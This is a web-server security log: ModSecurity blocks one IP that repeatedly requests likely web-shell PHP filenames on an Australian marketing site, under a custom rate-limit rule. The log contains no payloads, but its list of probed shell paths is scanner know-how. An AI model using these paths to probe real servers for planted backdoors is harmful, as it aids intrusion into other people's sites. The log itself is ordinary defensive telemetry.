[Sat Apr 11 04:25:28.486193 2026] [:error] [pid 33288:tid 33297] [client 51.107.88.105:22107] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gvg1bvpsgtot1rpklCdefault.php"] [unique_id "adlcuGJmwJFFPEgRHfHZFAAAAMc"]
[Sat Apr 11 04:25:28.957377 2026] [:error] [pid 33173:tid 33264] [client 51.107.88.105:22478] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gvg1bvpsgtot1rpklCdefault.php"] [unique_id "adlcuK8109xRDP2izWiQBAAAAJM"]
[Sat Apr 11 04:25:29.432114 2026] [:error] [pid 33288:tid 33298] [client 51.107.88.105:22116] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/6xBAm3vODE05BSzkJZRAws.php"] [unique_id "adlcuWJmwJFFPEgRHfHZGQAAAMg"]
[Sat Apr 11 04:25:29.907728 2026] [:error] [pid 33288:tid 33303] [client 51.107.88.105:22135] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/6xBAm3vODE05BSzkJZRAws.php"] [unique_id "adlcuWJmwJFFPEgRHfHZHAAAAM0"]
[Sat Apr 11 04:25:30.374494 2026] [:error] [pid 33171:tid 33190] [client 51.107.88.105:22122] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/6xBAm3vODE05BSzkJZRAws.php"] [unique_id "adlcuroqTMlo30hcVw8qlAAAAAQ"]
[Sat Apr 11 04:25:30.859455 2026] [:error] [pid 33173:tid 33260] [client 51.107.88.105:22131] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/6xBAm3vODE05BSzkJZRAws.php"] [unique_id "adlcuq8109xRDP2izWiQCQAAAI8"]
[Sat Apr 11 04:25:31.338886 2026] [:error] [pid 33173:tid 33255] [client 51.107.88.105:11226] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aligk.php"] [unique_id "adlcu68109xRDP2izWiQDAAAAIo"]
[Sat Apr 11 04:25:31.861166 2026] [:error] [pid 33171:tid 33201] [client 51.107.88.105:22524] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aligk.php"] [unique_id "adlcu7oqTMlo30hcVw8qlgAAAA8"]
[Sat Apr 11 04:25:32.340467 2026] [:error] [pid 33288:tid 33296] [client 51.107.88.105:22099] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aligk.php"] [unique_id "adlcvGJmwJFFPEgRHfHZJAAAAMY"]
[Sat Apr 11 04:25:32.841650 2026] [:error] [pid 33171:tid 33194] [client 51.107.88.105:22109] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aligk.php"] [unique_id "adlcvLoqTMlo30hcVw8qmgAAAAg"]
[Sat Apr 11 04:25:33.318550 2026] [:error] [pid 33171:tid 33199] [client 51.107.88.105:22139] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file61.php"] [unique_id "adlcvboqTMlo30hcVw8qngAAAA0"]
[Sat Apr 11 04:25:33.808440 2026] [:error] [pid 33173:tid 33260] [client 51.107.88.105:22120] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file61.php"] [unique_id "adlcva8109xRDP2izWiQEwAAAI8"]
[Sat Apr 11 04:25:34.278866 2026] [:error] [pid 33172:tid 33232] [client 51.107.88.105:22477] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file61.php"] [unique_id "adlcvjn2G0IJw5EZY9kCKgAAAE4"]
[Sat Apr 11 04:25:34.783977 2026] [:error] [pid 33172:tid 33242] [client 51.107.88.105:22511] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file61.php"] [unique_id "adlcvjn2G0IJw5EZY9kCLQAAAFg"]
[Sat Apr 11 04:25:35.250891 2026] [:error] [pid 33173:tid 33267] [client 51.107.88.105:22508] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xwx1.php"] [unique_id "adlcv68109xRDP2izWiQFwAAAJY"]
[Sat Apr 11 04:25:35.751971 2026] [:error] [pid 33172:tid 33239] [client 51.107.88.105:22080] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xwx1.php"] [unique_id "adlcvzn2G0IJw5EZY9kCMQAAAFU"]
[Sat Apr 11 04:25:36.241295 2026] [:error] [pid 33171:tid 33189] [client 51.107.88.105:22521] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xwx1.php"] [unique_id "adlcwLoqTMlo30hcVw8qowAAAAM"]
[Sat Apr 11 04:25:36.712720 2026] [:error] [pid 33171:tid 33204] [client 51.107.88.105:22118] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xwx1.php"] [unique_id "adlcwLoqTMlo30hcVw8qpwAAABI"]
[Sat Apr 11 04:25:37.191957 2026] [:error] [pid 33172:tid 33230] [client 51.107.88.105:11244] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tx79.php"] [unique_id "adlcwTn2G0IJw5EZY9kCOAAAAEw"]
[Sat Apr 11 04:25:37.657649 2026] [:error] [pid 33288:tid 33297] [client 51.107.88.105:11234] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tx79.php"] [unique_id "adlcwWJmwJFFPEgRHfHZNQAAAMc"]
[Sat Apr 11 04:25:38.124002 2026] [:error] [pid 33288:tid 33314] [client 51.107.88.105:22466] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tx79.php"] [unique_id "adlcwmJmwJFFPEgRHfHZOgAAANg"]
[Sat Apr 11 04:25:38.593173 2026] [:error] [pid 33171:tid 33197] [client 51.107.88.105:22473] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tx79.php"] [unique_id "adlcwroqTMlo30hcVw8qrQAAAAs"]
[Sat Apr 11 04:25:39.072084 2026] [:error] [pid 33288:tid 33290] [client 51.107.88.105:33129] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/CDX2.php"] [unique_id "adlcw2JmwJFFPEgRHfHZQAAAAMA"]
[Sat Apr 11 04:25:39.537597 2026] [:error] [pid 33172:tid 33230] [client 51.107.88.105:11232] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/CDX2.php"] [unique_id "adlcwzn2G0IJw5EZY9kCQgAAAEw"]
[Sat Apr 11 04:25:40.010046 2026] [:error] [pid 33288:tid 33291] [client 51.107.88.105:22486] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/CDX2.php"] [unique_id "adlcxGJmwJFFPEgRHfHZSgAAAME"]
[Sat Apr 11 04:25:40.485889 2026] [:error] [pid 33173:tid 33263] [client 51.107.88.105:22471] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/CDX2.php"] [unique_id "adlcxK8109xRDP2izWiQIgAAAJI"]
[Sat Apr 11 04:25:40.952356 2026] [:error] [pid 33288:tid 33290] [client 51.107.88.105:33147] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/666.php"] [unique_id "adlcxGJmwJFFPEgRHfHZUAAAAMA"]
[Sat Apr 11 04:25:41.428135 2026] [:error] [pid 33288:tid 33299] [client 51.107.88.105:22093] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/666.php"] [unique_id "adlcxWJmwJFFPEgRHfHZUgAAAMk"]
[Sat Apr 11 04:25:41.890153 2026] [:error] [pid 33172:tid 33223] [client 51.107.88.105:22104] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/666.php"] [unique_id "adlcxTn2G0IJw5EZY9kCTgAAAEU"]
[Sat Apr 11 04:25:42.353796 2026] [:error] [pid 33288:tid 33298] [client 51.107.88.105:22513] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/666.php"] [unique_id "adlcxmJmwJFFPEgRHfHZWAAAAMg"]
[Sat Apr 11 04:25:42.823086 2026] [:error] [pid 33173:tid 33256] [client 51.107.88.105:11241] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wtiiy.php"] [unique_id "adlcxq8109xRDP2izWiQKQAAAIs"]
[Sat Apr 11 04:25:43.296547 2026] [:error] [pid 33171:tid 33186] [client 51.107.88.105:22525] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wtiiy.php"] [unique_id "adlcx7oqTMlo30hcVw8qsgAAAAA"]
[Sat Apr 11 04:25:43.765993 2026] [:error] [pid 33171:tid 33209] [client 51.107.88.105:22502] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wtiiy.php"] [unique_id "adlcx7oqTMlo30hcVw8qtAAAABc"]
[Sat Apr 11 04:25:44.239378 2026] [:error] [pid 33173:tid 33247] [client 51.107.88.105:33088] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wtiiy.php"] [unique_id "adlcyK8109xRDP2izWiQMwAAAII"]
[Sat Apr 11 04:25:44.710101 2026] [:error] [pid 33288:tid 33307] [client 51.107.88.105:11203] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/Sanskrit.php"] [unique_id "adlcyGJmwJFFPEgRHfHZXgAAANE"]
[Sat Apr 11 04:25:45.181521 2026] [:error] [pid 33288:tid 33311] [client 51.107.88.105:22097] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/Sanskrit.php"] [unique_id "adlcyWJmwJFFPEgRHfHZYwAAANU"]
[Sat Apr 11 04:25:45.649788 2026] [:error] [pid 33288:tid 33302] [client 51.107.88.105:11074] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/Sanskrit.php"] [unique_id "adlcyWJmwJFFPEgRHfHZZQAAAMw"]
[Sat Apr 11 04:25:46.117599 2026] [:error] [pid 33288:tid 33309] [client 51.107.88.105:11159] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/Sanskrit.php"] [unique_id "adlcymJmwJFFPEgRHfHZaAAAANM"]
[Sat Apr 11 04:25:46.584870 2026] [:error] [pid 33173:tid 33253] [client 51.107.88.105:22469] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/motu.php"] [unique_id "adlcyq8109xRDP2izWiQQwAAAIg"]
[Sat Apr 11 04:25:47.069179 2026] [:error] [pid 33288:tid 33296] [client 51.107.88.105:11227] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/motu.php"] [unique_id "adlcy2JmwJFFPEgRHfHZbQAAAMY"]
[Sat Apr 11 04:25:47.539541 2026] [:error] [pid 33288:tid 33304] [client 51.107.88.105:22110] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/motu.php"] [unique_id "adlcy2JmwJFFPEgRHfHZcAAAAM4"]
[Sat Apr 11 04:25:48.004989 2026] [:error] [pid 33172:tid 33234] [client 51.107.88.105:11255] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/motu.php"] [unique_id "adlczDn2G0IJw5EZY9kCVAAAAFA"]
[Sat Apr 11 04:25:48.477763 2026] [:error] [pid 33172:tid 33239] [client 51.107.88.105:22465] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/amax.php"] [unique_id "adlczDn2G0IJw5EZY9kCVQAAAFU"]
[Sat Apr 11 04:25:48.943757 2026] [:error] [pid 33173:tid 33253] [client 51.107.88.105:11211] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/amax.php"] [unique_id "adlczK8109xRDP2izWiQTQAAAIg"]
[Sat Apr 11 04:25:49.408020 2026] [:error] [pid 33173:tid 33245] [client 51.107.88.105:33660] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/amax.php"] [unique_id "adlcza8109xRDP2izWiQUgAAAIA"]
[Sat Apr 11 04:25:51.957355 2026] [:error] [pid 33288:tid 33307] [client 51.107.88.105:33133] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/amax.php"] [unique_id "adlcz2JmwJFFPEgRHfHZfwAAANE"]
[Sat Apr 11 04:25:52.439901 2026] [:error] [pid 33172:tid 33218] [client 51.107.88.105:11233] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/public/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "adlc0Dn2G0IJw5EZY9kCYQAAAEA"]
[Sat Apr 11 04:25:52.917964 2026] [:error] [pid 33171:tid 33189] [client 51.107.88.105:11073] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/public/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "adlc0LoqTMlo30hcVw8qzwAAAAM"]
[Sat Apr 11 04:25:53.394752 2026] [:error] [pid 33288:tid 33297] [client 51.107.88.105:22495] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/public/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "adlc0WJmwJFFPEgRHfHZhwAAAMc"]
[Sat Apr 11 04:25:53.866636 2026] [:error] [pid 33171:tid 33198] [client 51.107.88.105:11207] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/public/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "adlc0boqTMlo30hcVw8q1QAAAAw"]
[Sat Apr 11 04:25:54.337599 2026] [:error] [pid 33172:tid 33234] [client 51.107.88.105:22102] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gifclass.php"] [unique_id "adlc0jn2G0IJw5EZY9kCZAAAAFA"]
[Sat Apr 11 04:25:54.807218 2026] [:error] [pid 33172:tid 33230] [client 51.107.88.105:22138] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gifclass.php"] [unique_id "adlc0jn2G0IJw5EZY9kCZwAAAEw"]
[Sat Apr 11 04:25:55.278250 2026] [:error] [pid 33173:tid 33248] [client 51.107.88.105:22129] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gifclass.php"] [unique_id "adlc068109xRDP2izWiQYgAAAIM"]
[Sat Apr 11 04:25:55.744616 2026] [:error] [pid 33172:tid 33224] [client 51.107.88.105:11217] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gifclass.php"] [unique_id "adlc0zn2G0IJw5EZY9kCbAAAAEY"]
[Sat Apr 11 04:25:56.218854 2026] [:error] [pid 33173:tid 33252] [client 51.107.88.105:11170] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-the.php"] [unique_id "adlc1K8109xRDP2izWiQagAAAIc"]
